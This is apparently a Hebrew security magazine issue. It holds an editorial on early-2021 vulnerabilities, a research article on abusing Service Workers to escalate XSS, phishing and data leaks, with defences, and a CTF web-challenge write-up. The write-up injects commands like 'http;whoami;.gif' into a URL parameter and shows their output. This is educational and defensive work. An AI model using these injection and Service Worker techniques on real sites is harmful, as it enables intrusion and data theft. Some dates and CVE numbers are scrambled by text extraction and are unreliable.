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 דבר העורכים 

 

  !0202 פברואר, גליון DigitalWhisperשל  126-ברוכים הבאים לגליון ה

השמרים. אפשר לשקוט על -איכיר לנו, שבתחום שלנו כזה שמז נגמרה בקליימקס 2020אין ספק ששנת 

למקרה שנרדמתם בשבועות האחרונים  .מתחילה ככזאת ששממשיכה באותה המגמה 2021שנת 

של  sudo-במנגנון השמצאו  פרסמו חולשה Qualysחוקרים מחברת לינואר,  26-ב והתעוררתם רק הרגע:

 Baronשקיבלה את השם ") CVE-2021-3156. החולשה המובילות היום בשוק לינוקסב הפצות הור

Samedit" די היסטרי...! 2011( מנצלת כשל שקיים בקוד שנכנס עוד ביולי 

-ול iOS14.4-ל מה פרטים אודות עדכון ששחררהפרסואם זה לבד לא מספיק, אז באותו היום, חברת אפל 

iPadOS14.4  3שבמסגרתו היא תיקנה ( חולשות, אחתCVE-2021-1782 בקרנל של מערכות ההפעלה )

 שלהם. WebKit-( הן למנוע הCVE-2021-1870-ו CVE-2021-1871האלה ושתי הנוספות )

פורסמו החודש עדכוני אבטחה לשלל כשלים שנמצאו,  חסר;לא  Microsoftמערכת ההפעלה של לוגם 

של  ניתוח הקבציםמנוע  - mpengine.dll-חולשה ב) CVE-1647-2021טיים, כגון: יו כקררחלקם הוגד

Defender  שניצול שלה מאפשרתRCE) ,1648-2021-CVE (PE ניצול חולשת  באמצעותArbitrary Pointer 

Dereference ב-splWOW64 ) 1660-2021או-CVE  גם(RCEהפעם במנגנון ה ,-RPC  ת ומערכשל כמעט כל

 (.Windows 2019 כולל Microsoftות של הנתמכ הפעלה

 לא מספיק? שלושת החולשות שתוקנו ע"י אפל פורסמו תחת ההודעה ש:

"Apple is aware of a report that this issue may have been actively exploited" 

-ולמעשה גם החולשה ב( על המקרה פרטים אין -ם זאת ע) Defenderוכך גם החולשה במנוע של 

splWOW64 במסגרת הדו"ח של חברת קספרסקי על " שדווחה שנה שעברהOperation PowerFall "

 Projectוהחבר'ה של ( The Darkhotelקוראנית שבוצעה ע"י קבוצת האקרים -)מתקפה על חברה דרום

Zero ,0986-2020-בעוד תוקנה ו-CVE .וכעת נמצא לה מעקף שמאפשר הטרגה של אותו קוד כושל 

 perl[.]com( שהדומיין  Perl.org)הבלוג התשתיות של The Perl NOC-ב פורסםלינואר,  27-עוד? ברוצים 

 נצפתה שבעבר IPאלה הדומיין מפנה את הגולשים לכתובת  נכון לכתיבת שורותף ע"י האקרים וטחנ

אין להם . בבלוג של השפה מבקשים לא לגלוש לאתר המדובר, שכן Lockyהכופרה ככזאת שהגישה את 

 שליטה עליו, ופורט כיצד לעדכן את רשימת מקורות הספריות כך שלא תכלול את האתר הנ"ל.

 

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://support.apple.com/en-us/HT212146
https://vuldb.com/?id.167639
https://whereisk0shl.top/post/the_story_of_cve_2021_1648
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1660
https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/
https://securelist.com/the-darkhotel-apt/66779/
https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html
https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html
https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html
https://log.perl.org/2021/01/perlcom-hijacked.html
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לא נחים לרגע וממשיכים לנסות בכל החבר'ה בצד השני לא הספיקה,  2020שנת עושה רושם שקיצר... 

 ! הכל לעדכן -ם לא, קדימה שווה שגם אתאז  ,כוח

 כמובן, איך אפשר בלי להגיד תודה לכל אותם חברים שהשקיעו החודש וכתבו מאמרים איכותיים ביותר,ו

דניאל תודה רבה ל ,עידו פרנקנטלתודה רבה ל ,שי שביטלתודה רבה  ,דניאל אבלסתודה רבה ל

 !שבתאי אביבתודה רבה לו קורמןבן תודה רבה ל ,אבינועם

 קריאה נעימה,      

  אפיק קסטיאל וניר אדר
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 Service Workers? 5באמצעות Webאיך ניתן למנף התקפות 

 66 2222של השב"כ  Web-פתרון אתגרי ה

BlackEnergy V.2 - Full Driver Reverse Engineering 46 

 22 דברי סיכום
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 Serviceבאמצעות Webאיך ניתן למנף התקפות 

Workers? 

 מאת דניאל אבלס ושי שביט

 

 הקדמה

שלפעמים כדאי לשלוח את המטען הזדוני שלהם באופן שם במהלך ההיסטוריה תוקפים נבונים הבינו -אי

ניתן לשלוח לנו  םעקיף, למשל בקישור המצורף להודעה. אנחנו חשופים היום לאמצעים רבים באמצעות

 למיניהן. instant messagingדואר אלקטרוני ותוכנות  :לרבות -קישורים כאלה 

וכו׳( מציעים מגוון אפשרויות וכלים למפתחים על מנת לשפר  Chrome ,Firefoxדפדפנים מודרניים )כמו 

ebW שלהם. אפשרויות אילו נקראות Web-את הביצועים, הנראות וחווית המשתמש של אפליקציות ה

APIsציות, והן משמשות אבני בניין לאפליק Web .מודרניות 

 

. גילינו מספר דרכים בהם Workers Serviceספציפי בשם  API Web-במחקר שלנו, בחרנו להתמקד ב

לייצר  Service Workersבינונית ובשילוב עם -תוקף פוטנציאלי יכול לשלב חולשות בדרגת חומרה נמוכה

התקפה משמעותית ורחבה הרבה יותר. בתרחישים מסוימים, התוקף עלול להזליג מידע רגיש מהדפדפן 

 של המשתמש אל מקור חיצוני.

 

  :הבא בקישור, וניתן למצוא את ההרצאה BSides Las Vegas 2019נס עיקרי המחקר שלפניכם הוצגו בכ

https://www.youtube.com/watch?v=b7V5_xnXA1U 

 

 

 ?Service Workers-כיצד נולד הצורך ל

, ובכך מאפשרים למפתחים לספק Webכמנוע הלוגי של אפליקציות  JavaScript-דפדפנים משתמשים ב

כלומר  - Single Threadedהינה שפה  JavaScriptאינטראקטיביות. באופן כללי,  Webללקוחות אפליקציות 

 היא מריצה פיסות קוד בסדר מסוים, כך שכל פיסת קוד חייבת להסתיים לפני שהבאה תוכל לרוץ.

 

 Thread. כאמור זהו Main Thread-נהוג לכנותו ה. אחד שמייחד אותו Threadבדפדפן שלנו יש  Tabלכל 

 יהיה עמוס ויוביל לחווית משתמש ירודה.  Thread, אותו CPU Intensiveיחיד, ומכאן בסיטואציות שהן 

 ?אם כן, כיצד נוכל להריץ מספר משימות תובעניות מבלי לפגוע בחווית המשתמש ושימושיות האפליקציה

https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://www.youtube.com/watch?v=b7V5_xnXA1U
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Web Workers 

Web שנקרא API Web-לבעיה זו ניתן על ידי מפתחי דפדפנים מודרניים באמצעות הלמזלנו, פתרון 

Workers המאפשרים להריץ משימות ״קשות״ בדפדפן ברקע במקביל ל-Thread Main כך נוכל לעשות .

פנוי  Main Thread-נוסף שייטפל בכל המשימות הכבדות, ובו זמנית להשאיר את ה Thread-שימוש ב

 .User Interaction-לטיפול בכל המשימות הקשורות ל

 

מלבד כמה החרגות.  Main Thread-חדשים ברקע יש כמעט את אותן יכולות שיש ל Threadsלאותם 

טעינה ממקור שונה תגרום לכשל  -( Origin) תחילה, אנו מחוייבים לטעון אותם מתוך אותו המקור

 .Thread-בהעלאת ה

חייב להיות  DOM-. כל רצון לבצע שינוי בelMod Object Document-אין גישה ל Threadשנית, לאותו 

, כלי postMessage-. ניתן לגשר על הפער הזה ע״י שימוש במנגנון הThread Main-מבוצע על ידי ה

 השונים. Threads-תקשורת בין ה

Web Workers גישרו על מגוון פערים שהיו קיימים בעולם ה-Web אך עדיין נותרו כמה סוגיות ללא מענה ,

 הנובעות מהמגבלות הכרוכות בהפעלתם. 

ישרת מספר  Threadשנפתח כפוף אך ורק לדף שיצר אותו. כלומר, אם נרצה שאותו  Threadראשית, כל 

של  Maintainability-בנפרד באופן שעלול לפגוע ב Thread-עמודים שונים, כל עמוד ידרש לפתוח את ה

אפליקציות מורכבות. שנית, ביצועי האפליקציה עלולים להיפגע ולסבול מתקורה מיותרת בשל ״צעדי 

 חדש נוצר. Thread-התקנה״ המתרחשים בכל פעם שה

 

Service Workers 

Service חדש יחסית בשם IAPיצרו מפתחות הדפדפנים  Workers Webכמענה לפערים שנוצרו משימוש 

Workers . דומים במהותם להם-Workers Web אך הם בעלי יכולות משופרות ועוצבו כדי לשמש ,

 Service Workersמורכבות הפועלות באמצעות מספר רב של עמודים. למעשה,  Webבאפליקציות 

בין רכיבי האפליקציה הרצים בדפדפן לבין התקשורת עם שרת האפליקציה המרוחק,  Proxy-משמשים כ

באופן המאפשר להם יירוט בקשות ותשובות על מנת לעבד אותם. יכולת זו שימושית במיוחד לאפליקציות 

אלמנטים מרכזיים באתר  יכול לשמור service worker-ה - offlineהרצות בדפדפן כאשר הוא במצב 

סטטיים, ובכך כאשר נאבד קישוריות אינטרנט, הדפדפן יטען לנו את   CSS-ו HTMLבמטמון, כמו קבצי 

הרכיבים הסטטיים הללו, כך שנראה גרסה מסוימת של האתר, למרות שאיבדנו יכולת להתחבר לאתר 

 המקורי.

https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API
https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API
https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin
https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API
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 Service . מרגע שהותקןWeb Worker-יש תוחלת חיים ארוכה הרבה יותר מל Service Worker-ל

Worker  לראשונה, הוא יפתח את עצמו ללא צורך בהרשמה מחדש בכל עמוד תחת התחום המוגדר לו

(Scopeה .)-Service Worker מחודשת של הדפדפן ואף לאחר הדלקה מחודשת  הישוב לפעול בעת פתיח

 של המחשב.

 

 Service Workerמחזור החיים של 

 :יש מחזור חיים ייחודי ומורכב Service Worker-ל

 

 

 :באמצעות הפונקציה הבאה Service Worker-( את הregisterראשית, יש לרשום )
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. מיקום זה Service Worker-הפונקציה מקבלת כפרמטר ראשון את מיקום הקובץ שמכיל את הקוד של ה

וכאשר היא  Promise. הפונקציה מחזירה Blobחייב להיות מיקום פיזי על אמצעי אחסון ולא ניתן להעביר 

Resolved.אנחנו מקבלים מידע אודות ההרשמה , 

 (Scopeתחום הגדרה )

. תחום ההגדרה מגדיר תחת אילו נתיבים Service Workers-לתחום ההגדרה חשיבות מהותית בעולם ה

(Pathsה )-Service Worker שלנו יפעל. תחום ההגדרה משמש הלכה למעשה כתנאי הפעלה: 

 

 

״, כלומר, כל דף בהיררכיה מתחת לנתיב זה יטען /profile/״ -בדוגמא שלעיל קבענו את תחום ההגדרה ל

״( ידחה את ההרשמה של /. כל מיקום גבוה ממיקום זה בהיררכיה )למשל ״Service Worker-ויריץ את ה

כברירת מחדל, תחום ההגדרה נקבע למיקום שבו מאוחסן  .ולא יאפשר את הרצתו Service Worker-ה

. ניתן לצמצם את תחום ההגדרה בקלות יחסית, כפי שהראנו בדוגמא Service Worker-קוד ההרצה של ה

 :Service-Worker-Allowedמיוחד בשם  Response Headerלמעלה, אך גם ניתן להרחיבו בעזרת 
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אחד  Service Workerישנם מספר היבטים שיש לקחת בחשבון בעת קביעת תחום ההגדרה. למשל, רק 

תחת אותו תחום הגדרה, האחרון  Service Workersויחיד יכול לחיות תחת אותו דף. אם נרשמו שני 

 שנרשם מקבל את זכות ריצה.

מופעלים בתחומי הגדרה חופפים, תחום ההגדרה המדויק  Service Workersבאופן דומה, כאשר שני 

 ביותר יהיה זה שייתקבל.

 

 אפשרויות נוספות

״. עם שיטה זו importScriptsניתן לטעון קוד נוסף באמצעות שימוש בפונקציה ״ Service Workerבתוך 

הזדוני שלהם ועדיין לשמר את הפונקציונליות האמיתית של  Service Worker-תוקפים יכולים לטעון את ה

 .מלכתחילה( Service Workerהאתר )בהנחה שלאתר היה 

 

 (Installationשלב ההתקנה )

 :בהצלחה, שלב ההתקנה מופעל באמצעות הפונקציה הבאה Service Workerמרגע שנרשם 

 

, למשל Service Worker-קוד ההרצה של ה( זה יתרחש בכל פעם שהדפדפן יבחין בשינוי Eventמאורע )

 בעת שדרוג היכולות שלו.

 

 (Activationשלב ההפעלה )

 :משהסתיים שלב ההתקנה בהצלחה, שלב ההפעלה יצא לפועל

 

. נקודה חשובה Service Worker-באמצעות ה Cache-במאורע זה ניתן לנקות קבצים קודמים המצויים ב

לא יוכל לפעול בדפים שהיו פתוחים בדפדפן במהלך  Service Worker -להדגיש בהקשר למאורע זה 

״ אשר דורשת זכויות הפעלה self.clients.claimרישומו. על מנת לעקוף מגבלה זו, ניתן לקרוא לפונקציה ״

 על אותם דפים. Service Worker-עבור ה
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Fetch Event 

כאשר  Service Worker-יפעל ה, ניתן לגשת ולהגדיר כיצד Service Workers-לאחר רישום והפעלת ה

 Fetch-מתרחשים אירועים שונים בדפדפן שבאמצעותם ניתן להשפיע על התנהגות האפליקציה כגון ה

Event . 

, CSS ,JavaScriptמאורע זה מתרחש בכל פעם שהדפדפן נדרש לבקש משאב מרוחק כגון תמונות, 

אחרים, והן מאפשרות לו שליטה  APIs-הרשאות יוצאות דופן ביחס ל Service Worker-וכדומה. כאמור, ל

על הבקשות שנשלחות על ידי הדפדפן, ואף חשוב מכך, בתשובות המתקבלות במענה לבקשות אל 

 :ו )ספוילר להמשך(

 

 

 תרחישי תקיפה

 Cachingמשמש לצורך שיפור חווית משתמש )למשל באמצעות Service Workers API-כפי שתיארנו, ה

offline experience במחקר שערכנו חשפנו מספר שיטות אותן יכולים תוקפים לנצל על מנת למנף .)

 :השפעת חולשות טריוויאליות במהלך ההתקפה. חילקנו את תרחישי התקיפה לשלוש קטגוריות

 ( שינוי תשובהResponse Modification) 

 זליגת מידע מ-Sandboxed domains 

  מינוףSelf XSS 

 (Response Modificationשינוי התשובה )

 Fetch Event-להאזין ל Service Workerכל התרחישים תחת קטגוריה זו מסתמכים על יכולותיו של 

ולשנות את גוף התשובה שמגיעה מהשרת לדפדפן. לצורך הדוגמאות הבאות, יש להניח מספר הנחות 

 :יסוד בנוגע לאתר הנתקף

  לתוקף יש אפשרות להעלות קבצי  -יכולת העלאת קבציםJavaScript .והוא מסוגל לגשת אליהם 

  קיימת חולשתCross Site Scripting  באתר המאפשרת לתוקף הזרקת קודJavaScript  זדוני משלו

 והרצתו בדפדפן של משתמשי האתר.

 :ניתן להמחיש את אופן התקיפה באמצעות התרשים הבא
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 :הניצול האפשריים בקטגוריה הזו הינםתרחישי 

שלו מחדש  XSS-הוא מסוגל להזריק את קוד ה Fetch Event-ברגע שהתוקף שולט ב - XSSשימור חולשת 

לסרטון המציג את  , גם במידה והחולשה המקורית בצד השרת טופלה.HTMLבכל בקשה לעמוד 

 :המתקפה

https://youtu.be/jE1nCdMHG8o 

ברגע שהדפדפן מבקש משאב מרוחק, התוקף יכול  -  (local denial of service)מניעת שירות מקומית

ובכך הלכה למעשה, למנוע את הצגתה  424-של התשובה ל HTTP Response Code-לשנות את ה

 :לסרטון המציג את המתקפה. למשתמש וטעינתה

https://youtu.be/H6Q81clc0gg 

התוקף יכול לערוך את גוף התשובה ולהחליפו  - (defacement)( ושינוי האתר phishingמתקפות דיוג )

מידע רגיש החוצה.  בתוכן אחר. כך למשל, יוכל לשנות את הכתובת של טופס התחברות, ובכך להזליג

בשונה ממתקפות דיוג רגילות תרחיש זה חמור במיוחד כיוון שלתוקף אין צורך ביצירת אתר מתחזה 

  :לסרטון המציג את המתקפה ובחוויית המשתמש יראה התוכן החלופי כאילו הוגש מהאתר המקורי.

https://youtu.be/XmCAvUptDGc 

 

 Sandboxed Domains-זליגת מידע מ

והאופן בו  sandboxed domainsכדי להבין את תרחישי התקיפה בקטגוריה זו, חשוב לדון בטיבם של 

נעשה בהם שימוש ברחבי האינטרנט. אתרים אלה נועדו לארח סוגים שונים של קבצים, כגון תמונות, 

ייעודי, נפרד מהאתר המרכזי על מנת  domain-קבצי אודיו, סקריפטים וכדומה. קבצים אלו מאוחסנים ב

 same origin-המרכזי )תוך ניצול הגנת ה domain-להגביל את השפעתן של חולשות או תוכן זדוני על ה

https://youtu.be/jE1nCdMHG8o
https://youtu.be/H6Q81clc0gg
https://youtu.be/XmCAvUptDGc
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policy  שנאכפת על ידי דפדפנים(. בנוסף, לא מעטsandbox domains  מיועדים לאירוח קבצים ותוכן

 המועלה על ידי משתמשים נחשב כלא בטוח.

ציבוריים, ארגונים עושים בהם שימוש לאחסון קבצי משתמשים,  sandbox domainעל אף היותם של 

בטחת פרטיותם הינה ערבול שמות הקבצים ויצירת נתיבי גישה אקראיים אשר אינם ניתנים והדרך לה

 לניחוש על משתמשים אחרים שלא העלו את התוכן.

-( בין הדומיין הראשי של האתר לcookiesעיקר מטרת הפרדת הדומיינים הינו העדר שיתוף עוגיות )

sandbox domainובכך הגבלה של השפעת , XSS או חולשות אחרות ב-sandbox domain  על הדומיין

 הראשי.

 שמדווחים להם.  XSSבשל הפרדה זו, אתרים רבים נוטים להתעלם מחולשות 

 :נפוצים sandbox domains-דוגמא ל

 googleusercontent.com (Google) 

 fbcdn.com (Facebook) 

 

 כעת נניח מספר הנחות העומדות בבסיס תרחיש התקיפה. 

 :המחשה, נניח אתר שמאחסן מידע רגיש עבור משתמשים כגון תמונות. נקרא לו לצורך

example-photos.com 

בו עושה שימוש האתר. כמו  sandbox domain-קבצים שמועלים לאתר דרך הממשק, מוצאים את דרכם ל

הנחה נוספת  .HTMLאו  JavaScriptכן, נניח כי האתר אינו מגביל העלאת סוגי קבצים נוספים, כגון קבצי 

 .Javascriptהמאפשרת הרצה של  sandbox-בדומיין ה XSSהינה כי קיים 

 

 :להלן תרחיש התקיפה

. במסגרת הנחות המחקר ניתן sandboxed domain-שלו ל service worker-ראשית, התוקף מעלה את ה

 XSS-מטריג את ה. שנית, התוקף sandbox domain-לעשות זאת, כיוון שהאתר מאפשר העלאת קבצים ל

 .sandboxed domain-של התוקף על ה service worker-על הקורבן, ובתמורה יתקין את ה

-כעת, שהקורבן יכנס לאתר האמיתי ויבקש לצפות בתמונה, הדפדפן ישלח בקשה להבאתה מה

sandboxed domainבאמצעות ה .-service worker  שהתקנו בשלב מוקדם יותר, נוכל ליירט את הבקשה

  :לסרטון המדגים את המתקפה המורכב והמעורבל של התמונה הרגישה. URL-ולהזליג החוצה את ה

https://youtu.be/bkFCPl5bOB8 

 

https://youtu.be/bkFCPl5bOB8
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 Self-XSSמינוף חולשת 

 Self-XSSיש אתר בעל פונקציית העלאת קבצים. בנוסף, ישנו גם  :לצורך הדוגמא נניח את התרחיש הבא

רגיל, הוא מוטרג אך ורק בדפים המשפיעים על המשתמש הנוכחי, ובגלל זה אינם  XSS-שבשונה מ

״. לצורך הדוגמא, נניח שיש לאתר גם /profile/ממצאים חמורים בד״כ. במקרה הזה, למשל בדף ״

login/logout CSRF . 

הזדוני שלו לאתר באמצעות פונקציית העלאת הקבצים של  service worker-התוקף מעלה את הראשית, 

האתר. אח״כ, הוא גורם לקורבן להיכנס לאתר שנמצא בשליטתו )דומיין אחר לגמרי, למשל 

attacker.com הדף הזה מכיל .)iframe  שגורם למשתמש לבצע ניתוק באמצעותlogout CSRF ו-iframe 

חריו שמחבר את הקורבן לחשבון של התוקף באתר הפגיע. עד לנקודה זו, רמת החומרה של נוסף שרץ א

 הפגיעות לא השתנתה.

ברגע שהתוקף חיבר את קורבן לחשבון שלו והפנה אותו לדף הפרופיל  :אך כאן זה מתחיל להיות מעניין

על  service workerן כדי להתקי self-XSS-״( התוקף בעצם מטריג את ה/profile/הלגיטימי לכאורה )״

 גורם לניתוק של הקורבן מהחשבון של התוקף. XSSהדפדפן של הקורבן. בשלב הזה, אותו 

זדוני  service workerלאחר מכן, כאשר הקורבן יכנס לחשבון שלו, הוא יגלה הפתעה לא נעימה. כעת, יש 

 login/logout-פשוטה יחסית ו Self XSSשמותקן על הדפדפן שלו, ככה שלמעשה התוקף הסלים חולשת 

CSRF  לחולשה רחבה הרבה יותר- Persistent XSS  ללא יכולת תיקון מצד האתר )אלא אם כן, הוא דורס

 :לסרטון המדגים את המתקפה (.service worker-את ה

https://youtu.be/4cQcVN3NBFw 

 

 

 תמיד יש בעיות

 :למרות שהתרחישים למעלה נראים מבטיחים מאוד, אסור לשכוח את ההגבלות הבאות

שהתוקף מעלה לאתר נמצא עמוק מדי בהיררכית  service worker-אם ה -( Scopeתחום הגדרה )

 service worker-הקבצים, סיכוי גבוה שלא תהיו לו שום משמעות בגלל ההגדרה של תחום ההגדרה. ה

 מופעל רק על קבוצת דפים מוגבלת.

של התוקף, הוא  service worker-על מנת שהדפדפן ירשום בהצלחה את ה -( MIME Typesסוגי קבצים )

" )לכל דפדפן יש application/javascript, למשל "JavaScriptמתאים של  MIME Typeחייב להגיע עם 

 (.JSשמתאימים לקבצי  MIME Typesרשימה של סוגי 

 

 

https://youtu.be/4cQcVN3NBFw
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 מניעה

שהצגנו כל מה שיכול להשתבש, הגיע הזמן לדבר על איך אפשר למנוע תקיפות שכאלה. במחקר , כעת

 שלנו בחרנו להתמקד בשלושה דרכים עיקריות למנוע חלק מהתקפות אלה.

 

 אכיפת תחום הגדרה

בצורה ״הרזה״  service worker-פתרון לגיטימי ראשון מדבר על להגדיר את תחום ההגדרה של ה

לאתר, אנחנו נצמצם  service workerוהמיטבית ביותר עבור האפליקציה. בצורה הזו, גם אם תוקף יעלה 

, sandboxed domainsעבור המקרה של  את משטח הפגיעה רק למספר דפים מינימליים )אם בכלל(.

זדוני, הוא  service workerההמלצה היא לבחור היררכיית דפים ייחודית לכל קובץ, ככה שאם תוקף יעלה 

 יוכל לשלוט רק על עצמו.

״ בתור תחום ההגדרה, דבר נפוץ שראינו בשטח )על ידי /״-באופן כללי ההמלצה היא להימנע משימוש ב

 (. service-worker-allowedבשם  Response Headerשליחת 

 יוכל לשלוט על כל דף באתר. service worker-מצב קטסטרופלי זה יוצר מצב שה

 

 (RUMניטור משתמשים אמיתיים )

( היא דרך פסיבית למדוד את חווית המשתמש של Real User Monitoringניתור משתמשים אקטיבי )

משתמשים באתר שלנו. בדרך זו אנו מודדים את האינטראקציה של משתמשים עם האתר מהרבה סוגי 

  ך מעלים את השונות בבדיקת חווית המשתמש.דפדפנים, ממקומות שונים בעולם, ובכ

בצורה זו, נוכל לנטר עבור מצבים בהם חווית המשתמש ירודה עבור משתמשים מסוימים, אחת הסיבות 

 אשר גורם למניעת שירות מקומית. service workerלכך יכולה להיות 

 

 Browser Eventsניטור 

( אשר מתרחשים בדפדפן, נוכל להחליף את הלוגיקה פונקציות מסוימות. Eventsעל ידי ניטור מאורעות )

 .לדפדפן service workersבמקרה שלנו, נוכל לבצע ״מעקף״ על מנת לבדוק מי קרא לפונקציה שרושמת 
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 :שכזה לקוד דוגמא

 

 

שאינו לגיטימי, למשל לבטל את  service workerבצורה זו, נוכל לפעול ברגע שמישהו מנסה לרשום 

 הקריאה לפונקציה במידה ונעשתה עבור קבצים שאינם מורשים.

 

 לסיכום

 באתרים רבים על ידי שיפור חווית המשתמש web-משרת נאמנה את עולם ה Service Worker API-ה

חוסר מודעות של מפתחים לסיכונים והעשרתה ביכולות שבעבר יכולנו רק לחלום עליהם. יחד עם זאת, 

. אנו מקווים שבעזרת יכול להוות סיכון אמיתי למשתמשי האתר Workers Serviceהכרוכים בשימוש 

זה, ולהבין שעם כוח גדול באה אחריות  APIיוכלו לקבל זווית נוספת ושונה על  Webהמאמר הזה מפתחי 

 לה גדו

 

 ?מי אנחנו

 דניאל אבלס, ראש צוות מחקר ב-Akamai, מתעסק בעיקר במחקר בעולמות ה-Web  אבל אוהב מאוד

 :( לשאלות, הארות, הערות או אם סתם בא לכם לדבר, אנא פנו אליי:לחקור גם בעולמות נוספים 

 https://twitter.com/Daniel_Abeles 

 https://www.linkedin.com/in/daniel-abeles 

 daniel@abeles.me 

 

 שי שביט, חוקר אבטחת מידע ב-Akamaiמתמחה בעולם ה ,-Security Webניתן למצוא אותי ב ,: 

 https://twitter.com/Chapakpuk 

 https://www.linkedin.com/in/shay-shavit-236b54a4/ 

 

  

https://twitter.com/Daniel_Abeles
https://www.linkedin.com/in/daniel-abeles
mailto:daniel@abeles.me
https://twitter.com/Chapakpuk
https://www.linkedin.com/in/shay-shavit-236b54a4/
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 2222של השב"כ  Web-פתרון אתגרי ה

 מאת עידו פרנקנטל

 

 הקדמה

ים מכל מיני -CTFשל השב"כ. אני כבר הרבה שנים פותר  CTF-עלה לאוויר אתגר ה 22.2.0202בתאריך 

סוגים, יש לציין שמאוד נהניתי מהאתגרים השנה שהיו מעניינים, מגוונים ומאתגרים. כשנכנסים לאתגר 

 מקבלים את חידת הכניסה )שהייתה אגב ממש מגניבה( שמובילה לאתגרים עצמם.

, בו לכל אתגר יש מספר מסוים של נקודות לפי רמת הקושי וניתן Jeopardyסגנון השנה האתגר היה ב

, Pwn ,AI Research ,Signal Processingלקפוץ בין אתגרים וקטגוריות לבחירתך )הקטוגריות היו: 

Reversing,WEB  ו-Data Science .)(, בשונה ממה שבדרך כלל מפרסמים השב"כ והמוסד )אתגר בשלבים 

. אנסה תוך כדי המאמר להסביר WEB-בקטגוריית ה אתגריםשלושת הלבמאמר זה אציג את הפתרונות 

 את צורת החשיבה שלי ומושגים חשובים שעלו במהלך הפתרון.

אני רוצה להגיד תודה לשותף שלי לפתרון האתגרים, עומרי פרידנטל. מהתכתבות במייל עם כותבי 

 ראשונים של מרבית מהאתגרים.האתגר, נודע לנו כי אנחנו הפותרים ה

 בואו נתחיל 
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 נקודותGiFON (222 ) - #2אתגר 

 

 ניכנס לקישור ונקבל את הדף הבא:
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לבחירתנו )יש  GIFמבדיקה ראשונית נראה שאף קישור או כפתור לא עובדים, חוץ מהאפשרות להציג 

מכיוון שיש רק אלמנט אחד  .phpים היו מאוד מוצלחות(. נשים לב שמדובר באתר -GIF-לציין שבחירות ה

 :GIF-שעובד, נתחיל מלבדוק אותו. ננסה לבחור את אחת האפשרויות ונציג את ה

 

בפרמטר  GIF-נעשית על ידי העברה של כתובת ה GIF-נשים לב לכמה דברים מעניינים. ראשית, בחירת ה

pic בכתובת ה-URLבדוגמה הבאה, החלק האדום הינו הכתובת ל .-GIF :עצמו 

http://gifon.shieldchallenges.com/?pic=https://media.giphy.com/media/l1K

VboXQeiaX7FHgI/giphy.gif 

של הקובץ. ננסה לבחון מקרי קצה בפרמטר  MD5 checksum-בנוסף, ניתן לראות מתחת לתמונה את ה

pic הוא לא באמת כדי לבדוק מה הואלידציה שמתרחשת לפני הצגת התמונות. תחילה, נכניס קישור ש

 ונראה מה קורה: GIFכתובת של 

http://gifon.shieldchallenges.com/?pic=https://digitalwhisper.co.il 

 

 נקבל:

 

הבקשה נשלחה וקיבלנו שגיאה בצד שרת. ננסה לבדוק מה השרת בודק לפני שהוא מנסה להציג את 

ונוסיף חלקים אחרים של הכתובת, נגלה התמונה. לאחר מספר ניסיונות נוספים בהם כל פעם נוריד 

', אחרת נכתבת שגיאה )בדיקה מאוד gif.'-' ומסתיים בhttp'-שהשרת בודק שהקישור לתמונה מתחיל ב

 קפדנית כמו שאתם רואים(.
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ננסה לנצל את  -נראה שסיימנו למפות את כל האלמנטים שנראים לעין באתגר. עכשיו מגיע החלק הכיף 

חולשות. נשים לב שהדרך שבה האתר מציג את הקבצים היא בצורה של קישור מה שמצאנו כדי למצוא 

 .File Inclusionלקובץ, מה שגרם לי לחשוב שאולי מדובר על חולשת 

מתרחשת כאשר דף מקבל כקלט נתיב לקובץ, אך הקלט  File Inclusionקצר: חולשת  הסבר

ולגרום לביצוע פעולות לא אינו מסונן ומאומת כראוי, וכך ניתן לשנות את מבנה הנתיב 

 מתוכננות )חולשה זו נפוצה בעיקר באתרים שנכתבו בצורה גרועה(.

 .Null Byteכעת ננסה את אחד הדרכים הנפוצות לניצול החולשה, להכניס 

עבור  C תבפונקציות של שפ משתמשת php-שהוא  Null Byteמאחורי  הרעיוןקצר:  הסבר

 לא לתוצאות הגורם דבר, מחרוזת של כסיוםמשמש  Null Byte, בהם כידוע בקבציםפעולות 

 (.והלאה 45.3. המגרס php-בתוקן  הבאג) צפויות

 ( בתור התמונה:%22-כ URL-, מיוצג בNull Byteננסה להכניס את הקישור הבא )עם 

http://gifon.shieldchallenges.com/?pic=http%00.gif 

 :ונקבל

file md5: 

Warning: system(): NULL byte detected. Possible attack in 

/var/www/html/index.php on line 92 

d41d8cd98f00b204e9800998ecf8427e 

 

אפשר להבין שהשרת  Warning-מעולה! נראה שהצלחנו לגרום למשהו להשתבש מאחורי הקלעים. מה

ננסה לבצע הזרקת . , שנותנת הרצה של פקודות מערכת()systemמשתמש על הקלט שלנו בפונקציית 

( על מנת שהשרת יריץ פקודות בשבילנו. נשים לב שבפקודות מערכת, אפשר לשים Code Injectionקוד )

 ' כדי להריץ כמה פקודות בשורה אחת אחד אחרי השניה.;את התו '

 בתחילת ובסוף הקישור בהתאמה( gif.-ו httpננסה להריץ את הקוד הבא: )נזכור שצריך לשים 

http;whoami;.gif 

 

 ונקבל:

file md5: www-data d41d8cd98f00b204e9800998ecf8427e 

 

 כדי לראות את רשימת הקבצים בתיקיה הנוכחית: lsמצויין, קיבלנו את מה שרצינו! כעת נריץ את הפקודה 

http;ls;.gif 
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 ונקבל:

file md5: css gulpfile.js img index.php secret vendor 

d41d8cd98f00b204e9800998ecf8427e 

